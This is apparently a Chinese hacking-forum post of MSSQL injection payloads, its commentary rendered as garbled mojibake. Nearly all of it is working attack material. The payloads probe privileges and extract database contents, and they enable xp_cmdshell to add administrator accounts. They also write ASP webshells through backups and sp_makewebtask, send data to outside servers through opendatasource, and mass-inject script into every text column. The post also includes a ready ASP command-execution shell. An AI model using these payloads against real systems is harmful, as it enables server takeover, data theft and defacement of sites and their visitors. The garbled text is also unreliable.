response.write err.description&"</font>"
end if
rest.SQLRestore srv
Response.write "<font color=green>»Ö¸´³É¹¦!</font>"
else
Response.write "<font color=red>ÇëÑ¡Ôñ±¸·Ý»ò»Ö¸´!</font>"
end if
end if
end if
%></td>
</tr>
</table>
</body>
</html>



                                                                                                   (2)
//¿´¿´ÊÇʲôȨÏÞµÄ
and 1=(Select IS_MEMBER('db_owner'))
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--

//¼ì²âÊÇ·ñÓжÁȡijÊý¾Ý¿âµÄȨÏÞ
and 1= (Select HAS_DBACCESS('master'))
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --


Êý×ÖÀàÐÍ
and char(124)%2Buser%2Bchar(124)=0

×Ö·ûÀàÐÍ
' and char(124)%2Buser%2Bchar(124)=0 and ''='

ËÑË÷ÀàÐÍ
' and char(124)%2Buser%2Bchar(124)=0 and '%'='

±¬Óû§Ãû
and user>0
' and user>0 and ''='

¼ì²âÊÇ·ñΪSAȨÏÞ
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --

¼ì²âÊDz»ÊÇMSSQLÊý¾Ý¿â
and exists (select * from sysobjects);--

¼ì²âÊÇ·ñÖ§³Ö¶àÐÐ
;declare @d int;--

»Ö¸´ xp_cmdshell
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--


select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')

//-----------------------
//       Ö´ÐÐÃüÁî
//-----------------------
Ê×ÏÈ¿ªÆôɳÅÌģʽ£º
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

È»ºóÀûÓÃjet.oledbÖ´ÐÐϵͳÃüÁî
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')

Ö´ÐÐÃüÁî
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--

EXEC .. 'cmd /c md c:\1111'

ÅжÏxp_cmdshellÀ©Õ¹´æ´¢¹ý³ÌÊÇ·ñ´æÔÚ£º
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')

дע²á±í
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

REG_SZ

¶Á×¢²á±í
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'

¶ÁȡĿ¼ÄÚÈÝ
exec master..xp_dirtree 'c:\winnt\system32\',1,1


Êý¾Ý¿â±¸·Ý
backup database pubs to disk = 'c:\123.bak'

//±¬³ö³¤¶È
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--



¸ü¸Äsa¿ÚÁî·½·¨£ºÓÃsql×ÛºÏÀûÓù¤¾ßÁ¬½Óºó£¬Ö´ÐÐÃüÁ
exec sp_password NULL,'ÐÂÃÜÂë','sa'

Ìí¼ÓºÍɾ³ýÒ»¸öSAȨÏÞµÄÓû§test£º
exec master.dbo.sp_addlogin test,9530772
exec master.dbo.sp_addsrvrolemember test,sysadmin

ɾ³ýÀ©Õ¹´æ´¢¹ý¹ý³Ìxp_cmdshellµÄÓï¾ä:
exec sp_dropextendedproc 'xp_cmdshell'

Ìí¼ÓÀ©Õ¹´æ´¢¹ý¹ý³Ì
EXEC ..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
GRANT exec On xp_proxiedadata TO public


Í£µô»ò¼¤»îij¸ö·þÎñ¡£

exec master..xp_servicecontrol 'stop','schedule'
exec master..xp_servicecontrol 'start','schedule'

dbo.xp_subdirs

Ö»ÁÐij¸öĿ¼ÏµÄ×ÓĿ¼¡£
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'

dbo.xp_makecab

½«Ä¿±ê¶à¸öµµ°¸Ñ¹Ëõµ½Ä³¸öÄ¿±êµµ°¸Ö®ÄÚ¡£
ËùÓÐҪѹËõµÄµµ°¸¶¼¿ÉÒÔ½ÓÔÚ²ÎÊýÁеÄ×îºó·½£¬ÒÔ¶ººÅ¸ô¿ª¡£

dbo.xp_makecab
'c:\test.cab','mszip',1,
'C:\Inetpub\wwwroot\SQLInject\login.asp',
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'

xp_terminate_process

Í£µôij¸öÖ´ÐÐÖеijÌÐò£¬µ«¸³ÓèµÄ²ÎÊýÊÇ Process ID¡£
ÀûÓá±¹¤×÷¹ÜÀíÔ±¡±£¬Í¸¹ýÑ¡µ¥¡¸¼ìÊÓ¡¹-¡¸Ñ¡Ôñ×ֶΡ¹¹´Ñ¡ pid£¬¾Í¿ÉÒÔ¿´µ½Ã¿¸öÖ´ÐгÌÐòµÄ Process ID

xp_terminate_process 2484

xp_unpackcab

½â¿ªÑ¹Ëõµµ¡£

xp_unpackcab 'c:\test.cab','c:\temp',1


ij»ú£¬°²×°ÁËradmin£¬ÃÜÂë±»ÐÞ¸ÄÁË£¬regedit.exe²»ÖªµÀ±»É¾³ýÁË»¹ÊDZ»¸ÄÃûÁË£¬net.exe²»´æÔÚ£¬Ã»Óа취ʹÓÃregedit /e µ¼Èë×¢²áÎļþ£¬µ«ÊÇmssqlÊÇsaȨÏÞ£¬Ê¹ÓÃÈçÏÂÃüÁî EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c ¼´¿ÉÐÞ¸ÄÃÜÂëΪ12345678¡£Èç¹ûÒªÐ޸Ķ˿ÚÖµ EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 Ôò¶Ë¿ÚÖµ¸ÄΪ1234

create database lcx;
Create TABLE ku(name nvarchar(256) null);
Create TABLE biao(id int NULL,name nvarchar(256) null);

//µÃµ½Êý¾Ý¿âÃû
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases


//ÔÚMasterÖд´½¨±í£¬¿´¿´È¨ÏÞÔõÑù
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--

Óà sp_makewebtaskÖ±½ÓÔÚwebĿ¼ÀïдÈëÒ»¾ä»°Âí£º
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--

//¸üбíÄÚÈÝ
Update films SET kind = 'Dramatic' Where id = 123

//ɾ³ýÄÚÈÝ
delete from table_name where Stockid = 3


ÊÖ¹¤½Å±¾×¢Èë
1.ÅжÏÊÇ·ñÓÐ×¢Èë;and 1=1 ;and 1=2

2.³õ²½ÅжÏÊÇ·ñÊÇmssql ;and user>0

3.×¢Èë²ÎÊýÊÇ×Ö·û'and [²éѯÌõ¼þ] and ''='

4.ËÑË÷ʱû¹ýÂ˲ÎÊýµÄ'and [²éѯÌõ¼þ] and '%25'='

5.ÅжÏÊý¾Ý¿âϵͳ
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access

6.²ÂÊý¾Ý¿â ;and (select Count(*) from [Êý¾Ý¿âÃû])>0

7.²Â×Ö¶Î ;and (select Count(×Ö¶ÎÃû) from Êý¾Ý¿âÃû)>0

8.²Â×Ö¶ÎÖмǼ³¤¶È ;and (select top 1 len(×Ö¶ÎÃû) from Êý¾Ý¿âÃû)>0

9.(1)²Â×ֶεÄasciiÖµ£¨access£©
;and (select top 1 asc(mid(×Ö¶ÎÃû,1,1)) from Êý¾Ý¿âÃû)>0

(2)²Â×ֶεÄasciiÖµ£¨mssql£©
;and (select top 1 unicode(substring(×Ö¶ÎÃû,1,1)) from Êý¾Ý¿âÃû)>0

10.²âÊÔȨÏ޽ṹ£¨mssql£©
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
;and 1=(select IS_MEMBER('db_owner'));--

11.Ìí¼ÓmssqlºÍϵͳµÄÕÊ»§
;exec master.dbo.sp_addlogin username;--

;exec master.dbo.sp_password null,username,password;--

;exec master.dbo.sp_addsrvrolemember sysadmin username;--

;exec master.dbo.xp_cmdshell 'net user username password
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--

;exec master.dbo.xp_cmdshell 'net user username password /add';--

;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--

12.(1)±éÀúĿ¼

;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree 'c:\'
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in('Éϲ½µÃµ½µÄpaths'))>)

(2)±éÀúĿ¼
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- »ñµÃµ±Ç°ËùÓÐÇý¶¯Æ÷
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- »ñµÃ×ÓĿ¼Áбí
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- »ñµÃËùÓÐ×ÓĿ¼µÄĿ¼Ê÷¹¹
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- ²é¿´ÎļþµÄÄÚÈÝ

13.mssqlÖеĴ洢¹ý³Ì

xp_regenumvalues ×¢²á±í¸ù¼ü, ×Ó¼ü
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' ÒÔ¶à¸ö¼Ç¼¼¯·½Ê½·µ»ØËùÓмüÖµ

xp_regread ¸ù¼ü,×Ó¼ü,¼üÖµÃû
;exec xp_regread
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' ·µ»ØÖƶ¨¼üµÄÖµ

xp_regwrite ¸ù¼ü,×Ó¼ü, ÖµÃû, ÖµÀàÐÍ, Öµ
ÖµÀàÐÍÓÐ2ÖÖREG_SZ ±íʾ×Ö·ûÐÍ,REG_DWORD ±íʾÕûÐÍ
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' дÈë×¢²á±í

xp_regdeletevalue ¸ù¼ü,×Ó¼ü,ÖµÃû

exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' ɾ³ýij¸öÖµ

xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' ɾ³ý¼ü,°üÀ¨¸Ã¼üÏÂËùÓÐÖµ

14.mssqlµÄbackup´´½¨webshell
use model
create table cmd(str image);
insert into cmd(str) values ('');
backup database model to disk='c:\l.asp';

15.mssqlÄÚÖú¯Êý
;and (select @@version)>0 »ñµÃWindowsµÄ°æ±¾ºÅ
;and user_name()='dbo' Åжϵ±Ç°ÏµÍ³µÄÁ¬½ÓÓû§ÊDz»ÊÇsa
;and (select user_name())>0 ±¬µ±Ç°ÏµÍ³µÄÁ¬½ÓÓû§
;and (select db_name())>0 µÃµ½µ±Ç°Á¬½ÓµÄÊý¾Ý¿â

16.¼ò½àµÄwebshell

use model

create table cmd(str image);

insert into cmd(str) values ('');

backup database model to disk='g:\wwwtest\l.asp';




                                                                                  (3)
                                                                                 

¿ÉÄÜÓкܶàÈË£¬¿´µ½¹Ø±ÕÁËwscript.shell,¾Í¸Ð¾õûÌáȨµÄÏ£ÍûÁË¡£¾Í»á·ÅÆú¡£
Ò»°ãµ±±ÕÉÏÃæ×é¼þʱ£¬ÄãÉÏ´«cmd.exeµ½ÉÏÃæÈ¥ÊÇÔËÐв»ÁËÃüÁîµÄ¡£ÔËÐÐʱ»á˵³ö´í¡£
ÒªÏëÈÃÔËÐÐÃüÁî¿ÉÒÔÊÔÊÔÕâÖÖ·½·¨£¬³É¹¦ÂÊΪÎåÎåÖ®Êý¡£
°ÑÏÂÃæ´úÂë¸´ÖÆ£º
<object runat=server id=oScriptlhn scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
<%if err then%>
<object runat=server id=oScriptlhn scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
<%
end if
response.write("<textarea readonly cols=80 rows=20>")
On Error Resume Next
response.write oScriptlhn.exec("cmd.exe /c" & request("c")).stdout.readall
response.write("</textarea>")
response.write("<form method='post'>")
response.write("<input type=text name='c' size=60><br>")
response.write("<input type=submit value='Ö´ÐÐ'></form>")
%>

±£´æÎªÒ»¸öaspÎļþ£¬È»ºó´«µ½ÍøÕ¾Ä¿Â¼ÉÏÈ¥
ÔËÐеÄʱºò¿ÉÄÜ»á³öÏÖÁ½¸öÎÊÌ⣬µÚÒ»ÊÇÔËÐÐÁËΪʲôÔËÐв»ÁËÃüÁÕâ¸öÄã¿ÉÒÔÊÔ×ÅÔÙÉÏ´«¸öcmd.exeÈ»ºó°Ñ·¾¶Ð´ÈëÉÏÃæ´úÂë¡£
ÎÒÓô˳ɹ¦ÔËÐйýcaclsÃüÁî¡£

µÚ¶þÄǾÍÊÇÔËÐÐʱ³ö´í£¬¿ÉÄÜÏÞÖÆÄ³Ð©´úÂëÖ´ÐÐ


                                                                                     (4)


¡ô»ñÈ¡Êý¾Ý¿âÃû
and db_name()=0
and db_name(0)=0
and db_name(__i__)=0
and quotename(db_name(__i__))=0

¡ô»ñÈ¡Óû§Ãû
and user=0

¡ô»ñÈ¡°æ±¾ÐÅÏ¢
and @@version=0

¡ô»ñÈ¡·þÎñÆ÷Ãû
and @@servername=0

¡ô»ñÈ¡·þÎñÃû
and @@servicename=0

¡ô»ñȡϵͳÓû§Ãû
and system_user=0

¡ôÒ»´ÎÐÔ»ñÈ¡ËùÓлù±¾ÐÅÏ¢
AnD (dB_NaMe(0)+cHaR(124)+uSeR+cHaR(124)+@@vErSiOn+cHaR(124)+@@sErVeRnAmE+cHaR(124)+@@sErViCeNaMe+cHaR(124)+sYsTeM_UsEr)=0

¡ôÒ»´ÎÐÔ̽²âȨÏÞ
AnD (cAsT(iS_srvrOlEmEmBeR(0x730079007300610064006d0069006e00)aS vArChAr)+cHaR(94)+cAsT(iS_srvrOlEmEmBeR(0x64006200630072006500610074006f007200)aS vArChAr)+cHaR(94)+cAsT(iS_srvrOlEmEmBeR(0x620075006c006b00610064006d0069006e00)aS vArChAr)+cHaR(94)+cAsT(iS_srvrOlEmEmBeR(0x6400690073006b00610064006d0069006e00)aS vArChAr)+cHaR(94)+cAsT(iS_srvrOlEmEmBeR(0x730065007200760065007200610064006d0069006e00)aS vArChAr)+cHaR(94)+cAsT(iS_mEmBeR (0x7000750062006c0069006300) aS vArChAr)+cHaR(94)+cAsT(iS_mEmBeR (0x640062005f006f0077006e0065007200) aS vArChAr)+cHaR(94)+cAsT(iS_mEmBeR (0x640062005f006200610063006b00750070006f00700065007200610074006f007200) aS vArChAr)+cHaR(94)+cAsT(iS_mEmBeR (0x640062005f006400610074006100770072006900740065007200) aS vArChAr))=0

¡ô»ñÈ¡Êý¾Ý¿âµÄÊýÄ¿
AnD (sElEcT cAsT(cOuNt(1) aS nvArChAr(100))+cHaR(9) FrOm mAsTeR..sYsDaTaBaSeS)=0

¡ô»ñÈ¡Êý¾Ý¿âÎļþÃû
and (select top 1 filename from (select top __i__ filename from master..sysdatabases order by filename) t order by filename desc)=0

¡ôͬʱ»ñÈ¡Êý¾Ý¿âÃûºÍÊý¾Ý¿âÎļþÃû
AnD (sElEcT ToP 1 rtrim(iSnUlL(cAsT(nAmE aS nvArChAr(4000)),cHaR(32)))+cHaR(9)+rtrim(iSnUlL(cAsT(filenAmE aS nvArChAr(4000)),cHaR(32)))+cHaR(9) FrOm (sElEcT ToP __i__ nAmE,filenAmE FrOm mAsTeR..sYsDaTaBaSeS oRdEr bY nAmE) t oRdEr bY nAmE dEsC)=0

¡ô»ñÈ¡Êý¾Ý¿âµÄ±íµÄÊýÄ¿
and (select cast(count(1) as varchar)+char(9) from <Êý¾Ý¿âÃû>..sysobjects where xtype=0x75)=0

¡ô»ñÈ¡Êý¾Ý¿âµÄ±í
and (select top 1 name from (select top __i__ name from <Êý¾Ý¿âÃû>..sysobjects where xtype=0X75 order by name) t order by name desc)=0
and (select top 1 quotename(name) from <Êý¾Ý¿âÃû>.dbo.sysobjects where xtype=char(85) AND name not in (select top __i__ name from <Êý¾Ý¿âÃû>.dbo.sysobjects where xtype=char(85)))=0

¡ô»ñÈ¡±íµÄ×ֶεÄÊýÄ¿
and (select cast(count(1) as varchar)+char(9) from <Êý¾Ý¿âÃû>..syscolumns where id=object_id('<±íÃû>'))=0

¡ô»ñÈ¡Êý¾Ý¿â±íµÄ×Ö¶Î
and (select top 1 name from (select top __i__ name,id from <Êý¾Ý¿âÃû>..syscolumns where id=object_id('<±íÃû>') order by name) t order by name desc)=0
and (select col_name(object_id('<±íÃû>'),__i__))=0

¡ô»ñÈ¡Âú×ãÌõ¼þµÄ±íµÄ¼Ç¼Êý
AnD (sElEcT cAsT(cOuNt(1) aS nvArChAr(100))+cHaR(9) FrOm <Êý¾Ý¿âÃû>..<±íÃû>)=0

¡ô»ñÈ¡Êý¾Ý¿âµÄÄÚÈÝ
AnD (sElEcT ToP 1 rtrim(iSnUlL(cAsT(<ÁÐÃû1> aS nvArChAr(4000)),cHaR(32)))+cHaR(9)+rtrim(iSnUlL(cAsT(<ÁÐÃû2> aS nvArChAr(4000)),cHaR(32)))+cHaR(9)+rtrim(iSnUlL(cAsT(<ÁÐÃû3> aS nvArChAr(4000)),cHaR(32)))+cHaR(9) FrOm (sElEcT ToP __i__ <ÁÐÃû1>,<ÁÐÃû2>,<ÁÐÃû3> FrOm <Êý¾Ý¿âÃû>..<±íÃû> oRdEr bY <ÅÅÐòÁÐÃû>) t oRdEr bY <ÅÅÐòÁÐÃû> dEsC)=0


¡ô»ùÓÚÈÕÖ¾²îÒ챸·Ý
--1. ½øÐгõʼ±¸·Ý
; Alter Database TestDB Set Recovery Full Drop Table ttt Create Table ttt (a image) Backup Log TestDB to disk = '<ÁÙʱÎļþÃû:e:\wwwroot\m.asp>' With Init--

--2. ²åÈëÊý¾Ý
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--

--3. ±¸·Ý²¢»ñµÃÎļþ£¬É¾³ýÁÙʱ±í
;Backup Log <Êý¾Ý¿âÃû> To Disk = '<ÒªÉú³ÉµÄÎļþÃû:e:\wwwroot\m.asp>';Drop Table ttt Alter Database TestDB Set Recovery SIMPLE--

¡ô»ùÓÚÊý¾Ý¿â²îÒ챸·Ý
1. ½øÐвîÒ챸·Ý×¼±¸¹¤×÷
;Declare @a Sysname;Set @a=db_name();Declare @file VarChar(400);Set @file=<ÁÙʱÎļþÃû:0x633A5C617364662E617370>;Drop Table ttt Create Table ttt(c Image) Backup Database @a To Disk=@file--

2. ½«Êý¾ÝдÈëµ½Êý¾Ý¿â
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--

3. ±¸·ÝÊý¾Ý¿â²¢×÷×îºóµÄÇåÀí¹¤×÷
;Declare @b SysName;Set @b=db_name();Declare @file1 VarChar(400);Set @file1=<×îÖÕÐèÒª±¸·Ý³öµÄÎļþÃû:0x633A5C617364662E617370>;Backup Database @b To Disk=@file1 With Differential,Format;Drop Table ttt;--

¡ôÊý¾Ý¿â²åÂí(²åÖ¸¶¨Êý¾Ý¿âµÄÖ¸¶¨±íµÄÂú×ãÌõ¼þµÄ¼Ç¼)
;update <Êý¾Ý¿âÃû>..<±íÃû> set <×Ö¶ÎÃû>=<×Ö¶ÎÃû>+'<script>alert("ÓЩ¶´°¡¡£")</script>' where <ÒªÂú×ãµÄÌõ¼þ>--

¡ôÊý¾Ý¿âÅúÁ¿²åÂí(²åËùÓпɲåÈëµÄ×ֶκͼǼ£¬Î£ÏÕ£¡£¡Çë½÷É÷²Ù×÷£¡£¡)
;dEcLaRe @t vArChAr(255),@c vArChAr(255) dEcLaRe tAbLe_cursoR cUrSoR FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b wHeRe a.iD=b.iD AnD a.xTyPe='u' AnD (b.xTyPe=99 oR b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167) oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@c while(@@fEtCh_status=0) bEgIn exec('UpDaTe ['+@t+'] sEt ['+@c+']=rtrim(convert(varchar,['+@c+']))+cAsT(<Òª²åÈëµÄÄÚÈÝ(0x±àÂëÐÎʽ)> aS vArChAr(200<´Ë´¦³¤¶ÈÓ¦×öÏàÓ¦ÐÞ¸Ä>))') fEtCh next FrOm tAbLe_cursoR iNtO @t,@c eNd cLoSe tAbLe_cursoR dEAlLoCaTe tAbLe_cursoR;--


;DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,s yscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<Òª²åÈëµÄÄÚÈÝ>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor--

¡ôÖ´ÐÐÃüÁîÐÐ(ÎÞ½á¹û·µ»Ø)
;exec master..xp_cmdshell 'net user name password /add & net localgroup administrators name /add'--

¡ô»Ö¸´´æ´¢¹ý³Ì xp_cmdshell
;Exec Master..sp_dropextendedproc 0x780070005F0063006D0064007300680065006C006C00;Exec Master..sp_addextendedproc 0x780070005F0063006D0064007300680065006C006C00,0x78706C6F6737302E646C6C--

¡ôSQLServer 2005 ¿ªÆôºÍ¹Ø±Õ xp_cmdshell
;EXEC master..sp_configure 'show advanced options',1;RECONFIGURE;EXEC master..sp_configure 'xp_cmdshell',1;RECONFIGURE;

¹Ø±Õ xp_cmdshell
;EXEC master..sp_configure 'show advanced options',1;RECONFIGURE;EXEC master..sp_configure 'xp_cmdshell',0;RECONFIGURE;

¡ôSQLServer 2005 ¿ªÆôºÍ¹Ø±Õ OpenDataSource/OpenRowSet
¿ªÆô£º
;EXEC master..sp_configure 'show advanced options',1;RECONFIGURE;EXEC master..sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
¹Ø±Õ£º
;EXEC master..sp_configure 'show advanced options',1;RECONFIGURE;EXEC master..sp_configure 'Ad Hoc Distributed Queries',0;RECONFIGURE;

¡ôSQLServer 2005 ÈÕÖ¾²îÒ챸·Ý

alter database set recovery full
declare @d nvarchar(4000) set @d=0x640062006200610063006B00 backup database __dbname__ to disk=@d with init--

drop table --
create table ( image)--
declare @d nvarchar(4000) set @d=0x640062006200610063006B00 backup log __dbname__ to disk=@d with init--

insert into () values(__varchar(ľÂíÄÚÈÝ))--
declare @d nvarchar(4000) set @d=__nvarchar(ÎļþÃû) backup log __dbname__ to disk=@d with init--

drop table declare @d nvarchar(4000) set @d=0x640062006200610063006B00 backup log __dbname__ to disk=@d with init--





Ò³: [1]
²é¿´ÍêÕû°æ±¾: Mssql injection code